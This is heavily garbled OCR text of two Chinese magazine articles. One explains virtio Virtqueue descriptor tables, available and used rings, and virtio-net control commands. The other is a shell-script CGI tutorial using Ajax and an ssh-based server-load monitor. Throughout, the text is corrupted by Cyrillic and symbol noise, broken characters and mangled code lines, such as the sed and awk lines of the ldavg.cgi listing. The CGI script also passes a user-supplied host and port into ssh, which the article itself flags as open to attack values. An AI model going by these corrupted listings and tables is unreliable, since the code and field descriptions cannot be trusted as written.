含有 数据 的 地 址 、 数 据 长 度 等 信息 ( 表 1 )。 

数据 地 址 使 用 的 是 客户 机 上 的 物理 地 址 ， 
如 果 是 虚拟 地 址 连续 而 物理 页 不 连续 的 空间 ， 
则 每 一 个 物理 页 都 需要 一 个 描述 符 。 








(2) 由 Virtio Header 的 QUEUE _ NUM 指定 。 


У 1 Virtqueue 的 构造 


Descriptor Table 


оошо | 


















Available Ring 


-3 


Used Ring 


S 










#1 描述 符 的 构造 
member 


数据 的 地 址 (客户 机 的 物理 地 址 ) 


E EPF. 





HEE mAAR, 19 next ts 
定 下 一 个 描述 符 的 编号 ， 并 把 fags 设 置 为 0xl 
рау. 


АЈ 0145 








(Indirect Descriptor) 





有 某 些 种 类 的 virtio 设 备 能 够 通过 大 量 、 并 
行 地 发 出 使 用 多 个 描述 符 的 请 求 ( request ) 来 
提高 性 能 。 

间接 描述 符 就 是 被 用 于 这 种 使 用 方式 的 。 
摘 述 符 的 fags 为 0x4 时 ，addr 表 示 间 接 描述 符 
表 的 地 址 ，len 表 示 间 接 描述 符 表 的 长 度 ( 字 
节 数 )。 

与 描述 符 表 一 样 ， 间 接 描述 符 表 也 是 描述 
符 的 队列 。 间 接 描 述 符 表 中 包含 的 描述 符 的 个 
数 为 lan / 16 ®„ 

每 个 间接 描述 符 的 数据 都 会 被 连接 到 间接 
描述 符 表 的 描述 符 上 。 








Available Ring 


Fs 








Available Ring 用 于 指定 客户 机 问 箱 主机 传 
输 的 描述 符 ( 表 2 )。 客 户 机 册 Available Ring 上 
的 空闲 项 中 写 和 人 描述 符 的 编号 并 将 idx 加 1。 由 
于 idx 被 设计 成 了 持续 加 1 的 使 用 方式 ， 当 idx 
的 值 超过 Available Ring 长 度 时 ,索引 值 就 为 
idx 除 以 Available Ring 长 度 的 余数 。 

和 宿主 机 记录 下 最 后 处 理 的 Available Ring 
项 的 编写 (后 述 )， 将 其 与 idx 比较， 并 处 理 较 
新 项 指 回 的 描述 符 。 





(3) 因为 一 个 描述 符 的 长 度 为 16bytes。 


description 





数据 长 度 





接 描 述 符 ( Indirect Description ) ) 


u16 |пехї 下 一 个 搬 述 符 的 编号 





标志 位 ( 0x1: 下 面 是 否 还 有 描述 符 /0x2: 在 宿主 机 看 来 是 否 是 Write Only 的 描述 符 /0x4: 是 否 是 间 
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Used Ring 





Used Ring Н F HS лк Їп ENLI Р ЛЕЙ 
的 描述 符 ( 表 3 )。 
其 结构 和 使 用 方法 基本 与 Available Ring 相 
E], 但 UsedRing 上 的 项 的 结构 与 Available Ring 
不 同 ， 它 使 用 最 靠 前 的 描述 符 的 编号 (id ) 和 长 
FE (len ) 来 指定 连续 的 描述 符 的 范围 ( 表 4 )。 











Virtqueue 里 没有 的 参数 


“= 
ии Е 


使 用 Virtqueue 进行 数据 传输 时 ， 还 要 用 到 
下 列 这 些 没 有 包含 在 Virtqueue 之 内 的 参数 。 


ө 客户 机 驱动 器 
e free head: 为 了 管理 空闲 描述 符 ， 
始终 记录 着 最 靠 前 的 空闲 描述 符 的 


编号 
e last used idx.……: 最 后 处 理 的 Used 
Ring + 69 A 69 2a 
ө 信 主 机 驱动 器 
e ]аѕ ауа idx…… 最 后 处 理 的 Available 
Ring 上 的 项 的 编号 


у 22 Available Ring 的 构造 









type member 





U16 idx 





标志 位 ( 0x1: 暂时 关闭 中 断 ) 


Available Ring 上 的 最 新 项 的 编号 


基于 virtio 的 半 虚 拟 化 设备 之 二 


实现 Virtqueue 与 virtio-net 






客户 机 一 宿主 机 方向 的 
数据 传输 方法 2 


下 面 介绍 从 客户 机 和 同和 宿主 机 传输 数据 时 如 
何 使 用 描述 符 表 、Available Ring, Used Ring 
(42). 

在 这 一 方向 上 的 数据 传输 过 程 中 ， 
Available Ring 用 于 通知 含有 传输 数据 的 描述 符 ， 
mi Used Ring 则 用 于 回收 使 用 完毕 的 描述 符 。 





己 客 尸 机 驱动 器 
下 面 按 编号 来 依次 解读 图 2。 


— 


. 驱动 器 初始 化 时 ， 事 先 将 所 有 描述 符 的 
next 的 值 设置 为 相 令 描述 符 项 的 编号 ， 
生成 空闲 描述 符 串 ， 将 free head 设 为 描 
述 符 串 中 最 靠 前 的 描述 符 的 编号 

.从 free head 的 值 中 取得 空闲 描述 符 的 编号 

.将 描述 符 的 addr 设 为 数据 的 地 址 ， 将 
len 设 为 数据 长 度 

.将 free head 设 为 描述 符 的 next 指 向 的 下 
一 个 空闲 描述 符 的 编号 

5. 将 Available Ring 的 idx 指 向 的 空闲 项 设 

为 描述 符 的 编号 


ш М 


> 






description 








ul6[QUEUE_NUM] Iring 


写 入 描述 符 编 号 的 Available Ring 的 主体 部 分 











u16 used_event 





KAPA EREA SEN = АУНАУ Е 








ү 23 Used Ring 的 构造 

















member description 
标志 位 ( 0х1: 暂时 关闭 客户 机 发 来 的 通知 ) 
u16 idx Used Ring 上 的 最 新 项 的 编号 
UsedRingEntry[QUEUE_NUM] | гіпо 写 入 描述 符 编 号 的 Used Ring 的 主体 部 分 
ulg avail_event ЙА 2) ААХЕН 5 НУЧ 5656 








4 ”Used Ring 项 的 构造 


member 


=] 


ВАЧАМ НУВ = 


description 








ZJE 
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正确 理解 虚拟 化 技术 


6. 将 Available Ring 的 idx 加 1 新 空闲 项 ) 

7. 将 队列 编号 写 入 Virtio Header 的 QUEUE _ 
SEL 

8. 通知 宿主 机 有 未 处 理 的 数据 ， 向 Virtio 
Header 的 QUEUE NOTIFY 执 行 写 入 
操作 四 


<® 入 主机 驱动 器 
下 面 按 编号 来 依次 解读 图 2。 


9. 接收 客户 机 的 通知 并 将 last avail idx 与 
Available Ring 的 idx 相 比较 ， 处 理 较 新 
项 指向 的 描述 符 并 将 last avail idx 加 1 

10. 将 Used Ring 的 idx 指 向 的 下 一 个 空闲 

项 设 为 处 理 完毕 的 描述 符 的 编号 
11. 将 Used Ring 的 idx 加 1 
12. 通 知客 户 机 处 理 已 经 
发 出 中 断 


又 结束 ， 向 客户 机 


性 客 尸 机 驱动 器 
下 面 按 编号 来 依次 解读 图 2。 


13. 接 收 宿主 机 的 中 断 并 将 last_used idx 
与 Used Ring 的 idx 相 比较 ， 回 收 较 新 
项 指向 的 处 理 完毕 的 描述 符 并 将 last_ 
used idx 加 1 

14. 将 回收 对 象 的 描述 符 归 还 到 空闲 描述 
符 的 串 中 并 更 新 free_ head 


宿主 机 一 客 尸 机 方 回 的 


数据 传输 万 法 
下 面 介绍 从 宿主 机 向 客户 机 传输 数据 时 如 





何 使 用 描述 
(图 3 )。 
在 这 一 方向 的 数据 传输 过 程 中 ，Available 
„ллы ш 
通知 含有 传输 数据 的 描述 符 。 


符 表 、Available Ring, Used Ring 








D 写 人 QUEUE NOTIFY 会 导致 VMExit 发 生 ， 使 控制 转移 
至 宿主 机 方 。 


Hypervisor 


下 ENF 





性 客 尸 机 驱动 器 
下 面 按 编号 来 依次 解读 图 3。 


. 驱动 器 初始 化 时 ， 事 先 将 所 有 描述 符 的 
next 的 值 设 置 为 相 邻 描述 符 项 的 编号 ， 
生成 空闲 描述 符 串 ， 将 free head 设 为 描 
述 符 串 中 最 靠 前 的 描述 符 的 编号 

2. 将 Available Ring 的 idx 指向 的 下 一 个 空 

闲 项 设 为 空闲 描述 符 串 中 最 靠 前 的 项 的 
编号 

3. 将 Available Ring 的 idx 加 1 

4. 将 队列 编号 写 入 Virtio Header 的 QUEUE 

SEL 
5. 通知 宿主 机 有 未 处 理 的 数据 ， 向 Virtio 
Header 的 QUEUE NOTIFY 执行 写 入 操作 


— 


< 宿主 机 驱动 器 
下 面 按 编号 来 依次 解读 图 3。 


6. 接收 发送 数 据 的 请 求 并 参照 Available 
Ring， 读 取 所 需 数 量 的 描述 符 
7. 将 描述 符 从 Available Ring 上 的 描述 符 


v2: 客户 机 一 宿主 机 方向 的 数据 传输 示意 图 
Descriptor Table Available Ring Used Ring 


REEN LH 


free Һеаа idx idx 
last_avail_idx last иѕеа idx 


free_head idx idx 
last_avail_idx 


6 te К шиши 


free_head idx idx 
last_avail_idx last_used_idx 


11 „аза ш и 


free_head idx idx 
last_avail_idx last_used_idx 


14 UL n, 


free Һеаа idx idx 
last_avail_idx 


last_used_idx 


last Used idx 


基于 virtio 的 半 虚 拟 化 设备 之 二 


实现 Virtqueue 与 virtio-net 





串 中 切 掉 
8. 将 描述 符 的 addr 设 为 数据 的 地 址 ， 将 
len 设 为 数据 长 度 
9. 将 Used Ring 的 idx 指 向 的 下 一 个 空闲 项 
设 为 描述 符 的 编号 
10. 将 Used Ring 的 idx 加 1 
11. 通 知客 户 机 有 未 处 理 的 数据 ， 向 客户 
机 发 出 中 断 


<® 客户 机 驱动 器 
下 面 按 编 号 来 依次 解读 图 3。 





12. 接 收 宿主 机 的 中 断 并 将 last used idx 
与 Used Ring 的 idx 相 比较 ,处 理 较 新 
项 指向 的 处 理 完毕 的 描述 符 并 将 last 


у” з 宿主 机 一 客户 机 方向 的 数据 传输 示意 图 
Descriptor Table Available Ring Used Ring 


ылыы ыш. 


free_head idx idx 
last_avail_idx last иѕеа idx 


3 |о{1{2{3] „Мин шшш 


пее һеаа > х i т i Е, 


Іаѕї ауа! іах Іаѕї иѕеа idx 


6 [ofiter] ии LH 


free Һеаа > X 7 Г 


last_avail_idx last_used_idx 


8 |0{1{2]3] „һин нини 


пее һеаа > х Г к, 


last_avail_idx last_used_idx 


10 |0{1{2]3 ш .加 


free һеаа > х i E; i Е 


last_avail_idx last_used idx 


12 |0{1{2]3 m m 


free_head > х | Г | к 


last_avail_idx last_used_idx 


13 [офтт2 |з i „һин 


пее һеаа > X Z i Z 


last_avail_idx last_used_idx 


used idxz 加 1 
13. 将 妃 理 完 毕 的 描述 符 归 还 到 空闲 描述 
符 的 串 中 ， 更 新 Available Ring 


virtio-net 的 实现 方法 


==” 





virtio-net 由 接收 队列 、 发 送 队 列 、 控 制 队 
列 这 三 个 Virtqueue 构 成 。 

发 送 队 列 和 控制 队列 按照 客户 机 一 箱 主 机 
方 回 的 数据 传送 方法 中 介绍 的 流程 传输 数据 。 
接收 队列 按照 簿 主机 一 客户 机 方 回 的 数据 传输 
方式 中 介绍 的 流程 传输 数据 。 接 收 队列 和 发 送 
队列 中 ,每 个 数据 包 ( packet ) 使 用 一 个 描述 符 。 

将 描述 符 的 addr 下 接 设 为 数据 包 的 地 址 ， 
为 了 从 牡 主机 驱动 硕 辐 客户 机 怠 动 硕 通 知 各 种 
言 息 ， 在 数据 包 的 前 面 紧 贴 厦 数 据 包 增加 了 专 
用 的 结构 ( 表 5、 图 4)。 

在 控制 队列 中 ， 为 指令 用 的 结构 体 ( 表 6、 
图 5 ) 设 置 指令 名 ,并 从 客户 机 向 答 主 机 发 送 
消息 。 如 果 指 令 还 需要 附加 数据 ， 则 需要 在 

8 令 用 的 结构 体 后 面 配置 数据 。 指 令 可 按照 

Class (大 项 目 ) 和 指令 (小 项 目 ) 进 行 如 下 分 类 。 

VIRTIO NET СТВІ, RX Class 有 下 列 指令 
能 够 将 NIC 的 混杂 模式 (Promiscuous Mode ) 
广播 ( Broadcast ) 接 收 模式 、 组 播 ( Multicast ) 
接收 模式 等 模式 设置 为 有 效 或 者 无 效 。 











VIRTIO NET CTRL RX PROMISC 

e VIRTIO NET CTRL RX ALLMULTI 
e VIRTIO NET CTRL RX ALLUNI 

e VIRTIO NET CTRL ВХ NOMULTI 

e VIRTIO NET CTRL RX NOUNI 

e VIRTIO NET CTRL ВХ МОВСАЅТ 


VIRTIO NET CTRL MAC Class 有 下 列 指 
令 ， 用 于 设置 MAC 过 滤 表 。 


e VIRTIO NET CTRL МАС TABLE SET 
e VIRTIO NET CTRL MAC ADDR SET 
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ИЛ ШУ Л 08, В но 


正确 理解 虚拟 化 技术 





VIRTIO NET CTRL VLAN Class 有 下 列 
指令 ， 用 于 设置 VLAN。 


e VIRTIO NET СТВІ, VLAN ADD 
e VIRTIO NET CTRL VLAN DEL 


VIRTIO NET CTRL ANNOUNCE Class 
有 下 列 指 令 ， 用 于 对 连接 状态 (Link Status ) 通 
知 返 回 ack 应 答 消 息 。 


。VIRTIO NET СТВІ, ANNOUNCE 
。VIRTIO NET CTRL ANNOUNCE ACK 


VIRTIO NET CTRL MQ Class 有 下 列 指 
令 ， 用 于 配置 多 重 队 列 ( MultiQue )。 





-> 


。VIRTIO NET CTRL MQ VQ PAIRS SET 
。VIRTIO NET CTRL MQ VQ PAIRS MIN 
。VIRTIO NET CTRL MQ VQ PAIRS МАХ 


要 表 5 struct virtio_net_hdr 








flags 








标志 位 ( Checksum offload ) 


ЕЕ 





以 上 对 Virtqueue 和 用 其 实现 NIC(virtio- 
net ) 的 方法 进行 了 介绍 。 下 一 回 我 们 将 对 介绍 
过 的 内 容 进 行 总 结 ， 俯 膨 虚 拟 系 统 的 全 貌 。 


” 4 ”传输 队列 的 数据 结构 
;, 4— desc.addr 
virtio_net_ctrl_hdr 


desc.len packet data 





У 85 控制 队列 的 数据 结构 


| i; 4— desc.addr 
desc.len | virtio_net_ctrl_hdr 





description 








u8 gso_type 


GSO ( Generic Segmentation Offload ) 数据 包 类 型 信息 








u16 hdr_len 


Ethernet + IP + TCP/UDP {Ж 








数据 长 度 





gso_size 














u16 csum_start 校 验 和 段 的 位 置 
u16 csum_offset 开始 计算 校 验 和 的 位 置 











要 表 6 struct virtio_net сіті Һаг 


member 


Class( 大 项 ) 


description 





虽 令 (小 项 ) 
















轻松 获取 文本 数据 





在 “用 shell 脚本 实现 CGI 这 个 企划 下 ， 
之 前 已 经 进行 了 两 次 连载 ， 本 回 是 这 个 企划 的 
最 终 回 了 。 既 然 是 最 终 回 ， 那 我 们 就 讲 一 讲 看 
似 和 shell 脚 本 不 搭 边 的 Ajax。 

Ajax Wù 4 Asynchronous JavaScript + XML 
的 缩写 ,也 不 是 什么 难 懂 的 词 。 不 过 有 的 人 
会 把 jQuery 等 和 Ajax 没有 直接 关系 的 技术 和 
Ajax 进行 搭配 记忆 ， 所 以 总 会 有 人 觉得 Ajax 
是 门槛 很 高 的 技术 。 

本 回 ， 我 们 只 用 JavaScript 和 shell 脚本 来 实 
现 Ajax， 也 借 此 机 会 告诉 大 家 Ajax 其 实 并 没有 
想象 中 的 复杂 。 虽 然 需 要 一 定 的 JavaScript 知 识 ， 
但 是 JSON、XML jQuery, ргоќоѓуре.јѕ $% 6 А 
会 出 现 。 因 为 这 些 和 Ajax 在 本 质 上 是 没有 关系 的 。 











语言 和 属性 应 该 和 事物 的 本 质 一 致 ， 
而 不 应 该 让 本 质 服从 语言 。 也 就 是 说 ， 先 
有 事物 的 存在 , 语言 只 是 随后 产生 的 东西 。 
伽利略 








$ EEMALE, 笔者 用 Mac 启 动 Apache 
服务 ， 对 代码 进行 了 确认 。 而 本 回 ， 除 CGI 脚 
本 之 外 ， 还 需要 用 浏览 锅 浏 览 静态 的 HIML 文 


D 本 杂志 中 文 版 2014 年 01 期 和 02 期 。 


H5 CGI RINES )| 
AJARA 


编写 CGI 脚本 ( 3 ) 


aX 动 态 更 新 页 面 


Е, 在 笔者 的 Mac 中 ，HTML 文 件 好 像 默 认 存 
放 在 文件 夹 Library/WebServer/Documents/ 下 
面 。 在 上 上 回 , 我 们 曾 做 了 一 个 叫 作 /cgi-bin/ 
的 符号 链接 ， 并 链接 到 了 存放 CGI 脚 本 的 位 置 ， 
这 次 也 同样 做 一 个 符号 链接 。 

操作 顺序 如 图 1 所 示 。 如 果 有 读者 没有 读 
过 上 上 回 和 上 回 的 文章 ， 如 图 1 的 Ils 输出 那样 
进行 设 定 也 是 OK 的 。 

准备 就 绪 以 后 ， 执 行 如 下 命令 启动 Apache。 

















$ sudo apachectl start 





另外 , 虽然 本 回 是 在 Mac 上 运行 CGI 脚本 ， 
不 过 以 后 的 课题 中 CGI 脚本 都 是 通过 Linux 服 
务 硕 和 ssh 命 令 进 行 通信 的 。 根 据 课 题 的 实际 
情况， 作为 前 提 和 条件， 通信 方 的 Linux 服务 需 


需要 安装 sar 命令 O 





Ajax 的 实现 方法 





Ө» 动态 改写 Web 页 面 


首先 ， 我 们 来 看 一 个 简单 的 例 于 。 所 谓 Ajax 
其 实 就 是 在 背后 用 JavaScript 调 用 CGI 脚本 ， 用 
取得 的 结果 把 浏览 右 显 示 的 Web 页 面 的 局 部 内 
容 进 行 改写 的 方法 。 也 就 是 说 ， 只 要 在 HTML 
文件 中 写 上 这 种 结构 的 Javascript 就 可 以 了 。 

实现 这 个 过 程 的 最 小 结构 是 如 代码 清单 1 所 
示 的 HTML 文件。 虽然 这 个 例子 是 用 HTML5 
编写 的 ,但 用 HITML4.01 或 者 XHTML 也 是 没 
问题 的 。 
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AMAIE O shelli 
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因为 这 次 不 主讲 shell 脚 本 ， 所 以 这 里 就 
不 对 例子 进行 详细 说 明了 ， 不 过 最 起 码 应 该 知 
道 的 知识 点 还 是 需要 解说 一 下 的 。 比 如 ， 通 过 
第 16 行 的 onload="callCgi() "语句 ， 浏 览 器 在 
显示 这 个 HIML 的 内 容 时 ， 就 会 启动 第 6 行 用 
functiom~ 定 义 的 函数 。 在 第 8 11 行 调用 CGI 
脚本 ， 在 第 12 行 取得 由 CGI 脚本 传输 过 来 的 字 
符 串 。 然 后 ， 取 得 的 字符 串 就 通过 第 12 行 前 半 
句 的 document.body.innerHTML =， 代 入 到 bog 
内 侧 相应 的 部 分 。 浏 览 套 会 马上 对 这 个 代入 做 
出 反映 , 这 样 页 面 就 可 以 把 代入 的 值 呈 现 出 来 了 。 

另外 还 必须 对 调用 CGI 脚本 的 部 分 进行 
一 下 说 明 。 首 先 ， 第 8 行 中 使 用 了 了 POST 方法 ， 
表示 要 往 /cgibin/show.cgi 里 传输 数据 。 上 回 
曾经 使 用 了 GET 方法 向 CGI 脚本 传输 字符 串 ， 
POST 是 给 CGI 脚本 传输 数据 的 另 一 种 方法 。 
另 一 个 参数 false 现 在 可 以 先 不 管 。 第 9、10 行 
用 来 做 成 调用 show.cgi 时 所 使 用 的 HITP 头 。 











У (5565881 实现 Ajax 的 最 小 结构 的 HTML( ~/html/ajax1.html ) 


实际 上 调用 show.cgi 的 是 第 11 行 ， 加 show.cgi 
传输 了 dummy=< 随 机 数 > 字 符 串 。 如 有 果 每 次 都 用 
POST 传输 相同 的 字符 串 的 话 ， 有 的 浏览 希 就 
会 偷懒 不 调用 CGI 脚 本 了 ， 所 以 为 了 防止 出 现 
这 种 现象 ， 就 需要 使 用 随机 数 。 然 而 ， 这 个 地 
方 的 JavaScript 的 写法 把 本 来 单纯 的 HITP 捆 绑 
得 复杂 了 ， 老 实说 感觉 很 不 自然。 大 家 是 什么 
样 的 感觉 呢 ? 

接 下 来 我 们 编写 从 HTML 调用 的 show.cgi 
脚本 。 其 实 只 要 传输 一 个 任意 的 字符 串 浏 览 硕 
就 能 显示 出 来 就 行 ， 不 过 这 里 我 们 编写 如 代码 
清单 2 所 示 的 能 进行 date 输 出 的 脚本 。 

正如 这 样 ， 输 出 HIML 头 之 后 才 执行 date。 
只 传输 时 间 ( date ) 也 没什么 意思 ， 因 此 这 里 还 
指定 了 用 strong 标 记 的 CSS 样 式 。 修 改 show. 
cgi 的 许可 使 之 可 以 执行 后 ,用 浏览 大 查看 
ajax1.html。 如 末 显 示 出 如 图 2 所 示 的 用 较 大 的 
加 粗 字 体 显示 的 时 间 的 话 ， 就 表示 执行 成 功 了 。 

show.cgi 和 普通 的 CGI 肢 本 一 样 ， 
先 输出 HIML 头 ， 然 后 输出 HTML 的 














01 <!DOCTYPE html> 

02 <html lang="ja"> 

03 <head> 

04 <meta charset="UTF-8" /> 


05 <script> 

06 function callCgi()t 

07 var h = new XMLHttpRequest(); 

08 h.open("POST","/cgi-bin/show.cgi",false); 
09 h.setRequestHeader("Content-Type", 

10 "application/x-www-form-ur lencoded"); 
11 h.send( "dummy=" + Math.random() ); 

12 document .body.innerHTML = h.responseText; 
13 } 

14 </script> 

15 </head> 

16 <body onload="callCgi()"> 

17 </body> 

18 </html> 


其 他 部 分 。 和 ajax1.html 相 比 再 简单 不 
过 了 , 但 它 就 是 这 样 的 东西 。 也 有 人 
觉得 “用 JSON 传 输 会 更 完美 " 等 ， 天 
于 这 个 问题 可 以 说 是 众说 纷 经 ， 在 这 
里 就 不 管 这 些 观点 了 。 毕 竟 我 们 没 道 
理 把 简单 的 事情 复杂 化 。 





У 82 从 ajax1.html 调 用 show.cgi 时 的 页 面 
Ө С) © ” 门 Iscalhesrralasluhrml x к" 


< С 


Ѕип Jun 16 14:25:57 JST 2013 





| laocalhost/ajaxl.html 





有 图 1 在 HTML 文 件 的 存放 处 添加 链接 改变 所 有 权 


$ ln -s /Library/WebServer/Documents/ html 
$ sudo chown ueda:staff html 
$ 15 -lL ~/cgi-bin ~/html 


lrwxr-xr-x 1 ueda staff 35 4 22 23:52 /Users/ueda/cgi-bin -> /Library/WebServer/CGI- В 
Executables/ 
lrwxr-xr-x 1 ueda staff 29 6 16 11:37 /Users/ueda/html -> /Library/WebServer/Documents/ 





© 异步 通信 


理论 上 讲 ， 灵 活 应 用 刚才 的 例子 ， 就 可 以 
任意 地 动态 切换 显示 在 浏览 器 上 的 内 容 。 但 是 
过 度 频 索 地 调用 CGI 脚本 会 有 一 个 问题 。 在 如 
代码 清单 2 所 示 的 写法 中 ,在 等 待 CGI 脚本 响 
应 的 期 间 ， 浏 览 需 会 卡 住 。 具 体 来 讲 ， 就 是 鼠 
标 操作 、 字 符 输 入 等 全 都 不 响应 了 。 

实际 上 ，Ajax 还 有 一 种 可 以 不 让 浏览 器 卡 
住 的 写法 ， 如 代码 清单 3 所 示 。 用 浏览 器 打开 
此 页 面 ， 应 该 会 和 ajaxl.html 一 样 把 时 间 显 示 
出 来 。 这 时 你 不 会 发 现 有 什么 变化 ,但 是 如 果 
在 代码 清单 2 的 第 2 行 左 右 的 位 置 加 上 sleep 














ү (58882 CGI 脚本 ( >/cgibin/show.cgi ) 





01 #!/bin/bash 


02 

03 echo 'Content-type: text/html' 

04 echo 

05 echo '<strong style=" font-size:24px">' 
06 date 


07 echo '</strong?' 












编写 CGI 脚本 ( 3 ) 
一 一 使 用 Ajax 动态 更 新 页 面 





10， 浏 览 磺 就 会 等 待 10 秒 ， 这 样 就 能 感 党 到 
区 别 了 。 对 于 代码 清单 1,， 训 览 需 会 处 于 等 待 
状态 (如 果 是 Chrome 或 Firefox 会 出 现 表 示 等 
待 的 不 仿 转 动 的 圆 形 标志 )， 但 代码 清单 3 就 不 
会 变 成 这 样 ， 你 感觉 不 到 浏览 絮 有 所 和 等待 ,但 
其 实 它 是 在 10 秒 后 将 时 间 显 示 出 来 的 。 

那么 代码 清单 3 的 JavaScript 到 底 做 了 什么 
呢 ? 第 8 行 的 h.onreadystatechange 是 指 CGI 
脚本 的 响应 返回 时 所 执行 的 函数 名 ， 这 里 用 = 
function(){... 将 也 数 名 和 函数 内 容 连 接 在 了 
一 起 。 第 8 行 到 第 13 行 中 只 是 将 孔 数 代入 到 汤 
数 名 ， 实 际 上 要 等 到 CGI 脚本 的 响应 返回 时 才 
会 被 执行 。 也 就 是 说 ， 跳 过 第 8 行 到 第 1317, 
执行 了 第 1$ 行 的 open 以 下 的 调用 CGI 脚本 的 
处 理 之 后 ， 这 个 因数 就 结束 了 。open 的 第 3 个 
参数 由 false 变 为 了 true， 表 示 是 “异步 处 理 ” 
的 意思 。 

羡 数 执行 完 之 后 (在 啊 应 非常 快 的 情况 下 
可 能 是 即将 结束 时 )， 会 返回 CGI 脚本 的 啊 应 ， 
此 时 才 会 执行 第 8 行 到 第 13 行 设 定 的 郴 数 。 首 
先 ， 在 第 9 行 确认 


























У (1555883 把 aax1.html 用 异步 处 理 的 方法 改写 后 的 HTML “已 从 CGI 脚本 接收 信息 ( 即 


(ajax2.html ) 


01 <!DOCTYPE html> 

02 <html Lang="ja"> 

03 <head> 

04 <meta charset="UTF-8" /> 

05 <5сг1рї> 

06 function callCgi()t 

07 var h = new XMLHttpRequest(); 

08 h.onreadystatechange = function()t 

09 if(h.readyState != 4 || h.status != 200) 
10 return; 

11 

12 document .body.innerHTML = h.responseText; 
13 } 

14 

15 h.open("POST","/cgi-bin/show.cgi",true); 
16 h.setRequestHeader("Content-Type", 

17 "application/x-www-form-ur lencoded"); 
18 h.send( "dummy=" + Math.random() ); 

19 } 

20 </script> 

21 </head> 

22 <body onload="callCgi()"> 

23 </body> 

24 </html> 





h.readyState 2 4 ) 
“从 CGI 脚本 返回 的 状态 码 是 
OK 的 ( 即 hstatus 5 200 Ê 


当 满 足以 上 条 件 时 ， 执 行 第 9 行 以 
后 的 处 理 。 

通过 采用 这 样 的 写法 ,把 获 
取 CGI 脚 本 啊 应 的 处 理 癌 后 延 述 ， 
结果 就 使 人 感觉 在 浏览 各 这 边 好像 
没有 发 生 等 竺 一样 。Ajax 中 一 般 
都 同 本 例 一 样 采 用 异步 方式 , 但 
如 果 不 想 让 页 面 出 现 不 协调 的 地 
方 ， 就 采用 同步 方式 。 比 如 ， 用 
选择 框 选择 都 首府 县 来 动态 切换 
男 外 一 个 表示 市 镇 村 的 选择 框 的 
情况 下 ,如 采用 异步 方式 实现 的 话 ， 














(2) “404 not found” “403 forbidden” 之 类 。 
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'// 


大 彻 大 悟 KOsshe 咱 脚本 | 
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驶 可 能 会 出 现 本 来 不 存在 的 都 道 府 县 和 市 镇 村 


ШШЩ ЖУ ЕСЕ 


监视 是 面 





如 果 本 文 到 此 绪 束 的 话 ， 就 变 成 JavaScript 
的 讲座 了 。 所 以 接 下 来 我 们 尝试 结合 shell 脚 
本 做 一 个 可 以 监控 所 管理 的 多 个 服务 器 负荷 的 
TH, 


有 代码 清单 4 用 图 表 表 示 服 务 器 负 和 三 的 CGI 脚 本 
( Idavg.cgi ) 





01 #1/bin/bash -xv 
02 exec 2> /tmp/log 


04 PATH=/usr/local/bin:$PATH 
05 tmp=/tmp/$$ 


07 dd bs=${CONTENT_LENGTH} | 
08 cgi-name -i_ -d_ > $tmp-name 


10 host=$(nameread host $tmp-name) 
11 port=$(nameread port $tmp-name) 


12 
13 ssh "$host" -p "$port" 'LANG=C sar -q' 
14 grep "^..:..:.." 


| 

| 

15 sed TS/GA АТВ ХАТУ" 

16 grep -v (дауд | 

17 tail -r | 
\ 


18 awk '{print NR*20+20,$1,int($4*100), $4, 
19 №Аж20+7 ,NR*20+19}' > $tmp-sar 


20 #1: 字 符 y 的 位 置 2: 时 间 3: 柱 状 图 宽度 4:Ldavg 
21 #5: 柱 状 图 的 坐标 y 的 位 置 6:Ldavg 字 符 y 的 位 置 


25 cat << FIN > $tmp-svg 

24 <svg style="width:300px;height:600px"> 

25  <text х="@" y="20" font-size="20">$host</text> 
26 <!-- RECORDS ——> 

27 《text х="@" y="%1" font-size="14">%2</text> 

28 《rect x="68" y="%5" width="%3" height="15" 

29 fill="navy" stroke="black" /> 


30 <text x="70" y="%6" font-size="10" fill="white">%4</text> 


31 <!-- RECORDS --> 
32 </svg> 
33 FIN 


35 echo "Content-Type: text/html" 
56 echo 
37 mojihame -LRECORDS $tmp-svg $tmp-sar 


39 rm -f $tmp-* 
40 exit 0 








首先 ,编写 Ajax 中 要 调用 的 shell 脚本 。 
如 代码 清单 4 所 示 的 shell 脚 本 ， 是 在 用 POST 
方式 传输 卫 地 址 和 ssh 端 口号 后 ， 取 得 那个 
PP 持 有 者 的 平均 负载 ， 并 使 用 SVG(Scalable 
Vector Graphics ) 把 图 表 画 出 来 。 

这 个 例子 有 几 点 需要 说 明 一 下 。 首 先 ， 第 
4 行 的 PATH 的 设置 是 为 了 明确 指定 非 标准 命 
令 写 的 位 置 。 从 终端 手动 执行 shell 脚 本 的 情况 下 ， 
如 有 果 已 经 在 配置 文件 中 事先 写 好 了 路 径 ， 就 不 
用 特别 在 意 这 里 的 设 定 了 ， 但 是 如 条 是 CGI 脚 
本 或 cron 调 用 的 脚本 ， 就 必须 明确 指定 路 径 。 

然后 , 第 7、8 行 的 处 理 是 谈 人 了 POST 过 
来 的 数据 。POST 和 上 回 讲 的 GET 方 法 一 样 ， 
所 做 的 处 理 都 是 从 客户 端 ( 浏 览 带 ) 给 CGI 肢 
本 传输 数据 。GET 是 把 数据 装载 到 一 个 叫 作 
QUERY_STRING 的 变量 中 , 而 POST 则 是 用 
Apache 将 数据 传输 到 CGI 脚本 的 标准 输入 ， 然 
后 再 用 dd 命令 抽取 出 来 。 这 里 的 dd 命令 就 是 指 
可 以 将 HDD 的 整个 内 容 抽 取出 来 的 命令 。 因 为 
是 标准 输入 ， 所 以 好 像 应 该 还 有 更 简单 的 方法 ， 
但 是 笔者 进入 USP 研 究 所 时 研究 所 用 的 就 是 这 
个 方法 ， 所 以 也 就 没有 去 尝试 其 他 的 方法 外。 

在 笔者 的 公司 还 有 一 个 规定 ， 就 是 从 dd 
抽取 出 的 数据 要 直接 通过 Open usp Tukubai 的 
cgi-name 命令 输出 到 文件 。cgi-name 的 执行 例 
如 图 3 所 示 。 从 HTML 表单 POST 过 来 的 数据 ， 
就 像 这 里 的 echo 选 项 的 字符 串 一 样 ， 所 以 为 了 
让 它 更 容易 被 命令 等 处 理 ， 
会 将 其 转换 成 Key Value 式 
的 文本 。 

代码 清单 4 的 第 10、 
11 行 是 把 主机 和 端口 号 分 
别 代 入 到 变量 host、port 
中 。nameread 也 是 Open usp 
Tukubai 的 命令 ， 用 来 从 文 
件 中 取出 指定 key 的 值 。 此 





























(З) 这 里 表示 的 是 Openusp Tukubai 时 
的 值 。 

D 这 种 技术 已 经 在 https://uec.usp-lab. 
сот ЭЁ Т о 





时 ，host、port 变 量 可 能 会 被 代 和 人 奇怪 (攻击 用 ) 
的 值 。 后 面 指定 ssh 选 项 时 ， 一 定 要 引用 起 来 。 
